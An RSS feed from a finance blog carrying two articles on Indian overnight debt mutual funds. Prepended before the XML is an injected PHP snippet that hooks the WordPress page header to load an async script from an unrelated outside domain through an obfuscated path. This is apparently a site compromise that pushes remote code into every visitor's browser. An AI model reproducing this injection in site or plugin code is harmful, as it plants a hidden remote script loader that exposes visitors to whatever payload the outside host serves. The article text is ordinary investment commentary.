/**<js>*/function add_my_script() {
   echo '<script async src="https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU="></script>';
}
add_action('wp_head', 'add_my_script');/**<js>*/<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Overnight Funds Archives -</title>
	<atom:link href="https://www.thebuyt.com/tag/overnight-funds/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thebuyt.com/tag/overnight-funds/</link>
	<description></description>
	<lastBuildDate>Thu, 28 Jul 2022 03:59:18 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://www.thebuyt.com/wp-content/uploads/2020/07/cropped-icon-32x32.png</url>
	<title>Overnight Funds Archives -</title>
	<link>https://www.thebuyt.com/tag/overnight-funds/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Why are Overnight Funds Back in Demand?</title>
		<link>https://www.thebuyt.com/why-are-overnight-funds-back-in-demand/</link>
					<comments>https://www.thebuyt.com/why-are-overnight-funds-back-in-demand/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Thu, 28 Jul 2022 03:59:00 +0000</pubDate>
				<category><![CDATA[Investment]]></category>
		<category><![CDATA[Overnight Funds]]></category>
		<category><![CDATA[what is Overnight Funds]]></category>
		<category><![CDATA[Why are Overnight Funds Back in Demand]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=4626</guid>

					<description><![CDATA[<p>The Buyt Desk  With REPO rates increasing, the interest rates are expected to rise further and also the stock market is unstable. Hence many are investing in Overnight funds. Overnight funds are suddenly back in demand as the interest rates have started to firm up. Even the stock market is in turbulence making it difficult [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/why-are-overnight-funds-back-in-demand/">Why are Overnight Funds Back in Demand?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>The Buyt Desk </strong></p>
<p dir="ltr">With REPO rates increasing, the interest rates are expected to rise further and also the stock market is unstable. Hence many are investing in Overnight funds.</p>
<p dir="ltr">Overnight funds are suddenly back in demand as the interest rates have started to firm up. Even the stock market is in turbulence making it difficult for investors to buy shares.  As interest rates are rising and are expected to rise further, most investors are taking out money from equity and parking the same in overnight funds. Just in a few months, the returns have increased to 5% which is 2% above the average.</p>
<h4 dir="ltr">Why are Overnight funds so much in demand?</h4>
<p dir="ltr">Overnight funds are considered one of the safest categories when it comes to debt mutual funds. Recently it is attracting fresh interest from investors who are opting to shuffle their portfolios. Many are turning to overnight funds as it is earning better returns and is safe with less risk as <a href="https://www.thebuyt.com/20-must-know-keywords-of-stock-market-for-every-beginner/">compared to the stock market</a>. Even the locking period is very less which is 24 hrs. Because of this feature investors put their money in overnight funds just to safeguard themselves from volatile markets.</p>
<h4 dir="ltr">Why do investors opt for Overnight funds?</h4>
<p dir="ltr">Overnight fund returns are directly proportional to repo rate which means returns go higher when repo rates increase. And Overnight funds do not carry any mark-to-market risk hence carry less risk. Because of this feature, Overnight funds are for risk-averse investors. As overnight funds invest in securities and have a residual maturity of a day, they are considered the safest among debt funds.</p>
<p dir="ltr">When the equity market falls, investors move their money to overnight funds. Usually, this doesn’t happen for a long time but since October 2021 the equity market is not performing well. Because of this, savvy investors have smartly parked their money in overnight funds. We can so confidently say this because the numbers speak loud. There were 1.55 lakh overnight funds folios in October 2021 and this has risen to 5.85 lakh in May 2022. In just 6 months the number has tripled.</p>
<h4 dir="ltr">What do experts have to say about this?</h4>
<p dir="ltr">Most investors manage their portfolios through Fund managers. Fund managers plan their clients&#8217; investments and manage them. Nowadays, because of market conditions and the rise in interest rates, fund managers are recommending overnight funds to their clients. Fund managers are advising equity investors to park their money in Overnight funds for the preservation of capital and later when the market is stable investors can put them back in equity.</p>
<p dir="ltr">Financial experts say that the current elevated market volatility has made many investors move towards Overnight funds. They also say that the minuscule risk of Overnight funds and their quick redemption timelines as compared to direct equity has made investors temporarily park funds in Overnight funds. Experts say that there are many investors who consider markets to be still richly valued and have booked profits in equity. And they are using this category to just park funds and transfer the same to equity funds as soon as market valuations turn attractive.</p>
<p dir="ltr"><strong>Summing up</strong></p>
<p dir="ltr">Expects in this field are expecting a further increase in interest rate in the current financial year at least by 100 -120 basis points. Just in the past 2 months, the RBI has raised the key policy rate twice and in total by 90 basis points. So the expected returns from overnight funds are 5.5% or can be more too. Few even go for long duration or gilt funds but there is a mark to market loss. Overnight funds are preferred over these two just because it is not a mark to market loss. It is a good time to park your funds in Overnight funds rather than in the equity market.</p>
<p dir="ltr"><strong>Choose wisely. Happy investing.</strong></p>
<p>The post <a href="https://www.thebuyt.com/why-are-overnight-funds-back-in-demand/">Why are Overnight Funds Back in Demand?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/why-are-overnight-funds-back-in-demand/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Should You Invest In Overnight Funds?</title>
		<link>https://www.thebuyt.com/should-you-invest-in-overnight-funds/</link>
					<comments>https://www.thebuyt.com/should-you-invest-in-overnight-funds/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Sun, 12 Dec 2021 10:20:59 +0000</pubDate>
				<category><![CDATA[Kaam Ki Baat]]></category>
		<category><![CDATA[Overnight Funds]]></category>
		<category><![CDATA[Should You Invest In Overnight Funds]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=3729</guid>

					<description><![CDATA[<p>The Buyt Desk  Overnight funds are the safest debt funds with overnight maturities from investing in debt securities and carrying minimal credit risk and zero interest rate risk. What does Overnight Funds mean? Overnight Funds are defined as a kind of open-ended debt scheme that invests in overnight maturing debt securities i.e. the very next [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/should-you-invest-in-overnight-funds/">Should You Invest In Overnight Funds?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>The Buyt Desk </strong></p>
<p dir="ltr">Overnight funds are the safest debt funds with overnight maturities from investing in debt securities and carrying minimal credit risk and zero interest rate risk.</p>
<h2 dir="ltr">What does Overnight Funds mean?</h2>
<p dir="ltr">Overnight Funds are defined as a kind of open-ended debt scheme that invests in overnight maturing debt securities i.e. the very next business day. The securities in the portfolio mature every 24 hours. The proceeds are used by the fund manager to buy new securities for the portfolio which mature the next day. Like other debt funds, these funds do not have to bear any kind of interest rate risk or default risk as maturity is just a day for the securities in these funds. The safest of all mutual funds is Overnight funds. And for new investors in the world of mutual funds who want to try out mutual funds before getting in full-fledged, then overnight funds are for them. As it is a low-risk profile, it is safe to play but it implies that returns are low compared to other long-term investments.</p>
<h4 dir="ltr">Who are the Participants in an Overnight Fund transaction?</h4>
<p dir="ltr"><em><a href="https://www.thebuyt.com/3-best-investments-for-accumulation-of-retirement-corpus-decoded/">Overnight Fund transactions</a> happen through four entities.</em></p>
<ol>
<li dir="ltr">
<p dir="ltr"><strong>Lenders &#8211;</strong> The investors in overnight funds are known as lenders. These may be banks, institutional investors, retail investors or other institutions.</p>
</li>
<li dir="ltr">
<p dir="ltr"><strong>Mutual Fund house &#8211;</strong> This is an entity in which people have invested their money. This fund house lends the received amount at a fixed rate of interest.</p>
</li>
<li dir="ltr">
<p dir="ltr"><strong>Borrower &#8211;</strong> A person or institution who loans the money at fixed rate of interest from the mutual fund house is the borrower. And the bank is one of the primary borrowers.</p>
</li>
<li dir="ltr">
<p dir="ltr"><strong>CCIL &#8211;</strong> The Clearing Corporation of India Limited is an institute in charge of the matchmaking of lender and borrower. It is CCIL’s responsibility to settle the transactions overnight.</p>
</li>
</ol>
<h4 dir="ltr">Why should one invest in Overnight Funds?</h4>
<ul>
<li dir="ltr">
<p dir="ltr"><strong>Liquidity &#8211;</strong> These invested securities have a one-day (overnight) short residual maturity and this makes it highly liquid.</p>
</li>
<li dir="ltr">
<p dir="ltr"><strong>Flexible holding period &#8211;</strong> Here the investor can hold their invested securities for the duration of their choice. Overnight funds make it easy to enter and exit the market while still earning safe returns for the time period of the investment.</p>
</li>
<li dir="ltr">
<p dir="ltr"><strong>Low-risk factor &#8211;</strong> Here the risks of credit or default are mitigated due to a short period (overnight) of lending and thus this is the best choice for investors with a low-risk appetite.</p>
</li>
<li dir="ltr">
<p dir="ltr"><strong>Low cost &#8211;</strong> Overnight funds are one of the very few low-cost debt funds as their debt holdings need not be managed actively and thus operated with expense ratios below 1%.</p>
</li>
<li dir="ltr">
<p dir="ltr"><strong>Less volatility &#8211;</strong> Here the bonds mature overnight (just a day) and hence they are less volatile</p>
</li>
</ul>
<h4 dir="ltr">Why should one not invest in Overnight Funds?</h4>
<p dir="ltr">People should avoid investing in overnight funds because of very low returns on the investment made. Because of low risks and high liquidity, returns will be very less. Inflation rate is very high and in such situations getting low returns is not acceptable. But if one has a very low risk appetite and very short parking period, then this is the only option.</p>
<h4 dir="ltr">Who should invest in Overnight Funds?</h4>
<p dir="ltr">Overnight funds are ideal for investors having a very small investment horizon and who need medium to direct investments in Equity funds. Overnight funds are best made for the businessmen and entrepreneurs who all the time need to park their large funds for very short periods of time before investing elsewhere. The money will be lying idle in a current bank account, so the better idea is to invest surplus cash in an overnight fund and earn some returns, even for short duration. They are also ideal to invest your set aside Emergency Funds in overnight funds as your money will be earning some interest while still handy since it offers the highest liquidity.</p>
<h4 dir="ltr">What are the things to consider before investing in Overnight Funds?</h4>
<p dir="ltr">Even though Overnight funds are considered safest there are few things to look into before investing. Overnight funds are not intended to increase returns but are like savings accounts, where money is safe and easily withdrawn. Overnight funds offer low returns compared to other mutual funds. Here the investor must compromise on returns as it has a high safety and liquidity component. Be a smart investor and allocate only a portion of your funds to overnight funds just to avoid risk. When risk appetite is small but investment prospects are longer, about 3 to 6 months then liquid funds or ultra-short duration funds that hold high-quality bonds are better options to earn better returns.</p>
<h4 dir="ltr">What are the Taxations of Overnight Funds?</h4>
<p dir="ltr">Overnight funds are taxed like any other debt fund. Invested securities of overnight funds that are held for less than three years are considered for short-term capital gains (STCG) tax, where investors are taxed as per their income slab. And for invested securities of overnight funds that are held for more than three years are considered for long-term capital gains (LTCG) tax at the rate of 20%, where investors have the benefit of indexation. However, the classical method of taxing dividends is followed here too. The dividends earned through overnight funds are taxable as per the investors’ tax slab.</p>
<p dir="ltr"><strong>Summing up</strong></p>
<p dir="ltr">Investors can make the most of the overnight funds when they understand they understand the complete working of these funds. Also study the market well when it comes to debt fund investments to make better profits. Overnight funds are best suitable for investors having a very short investment period and low risk appetite.  Overnight funds offer liquidity, safety, security, sustainability and flexibility of withdrawal and are likely to earn higher returns compared to bank savings deposits.  It can also be used as a medium to route funds into other long-term funds.</p>
<p>The post <a href="https://www.thebuyt.com/should-you-invest-in-overnight-funds/">Should You Invest In Overnight Funds?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/should-you-invest-in-overnight-funds/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>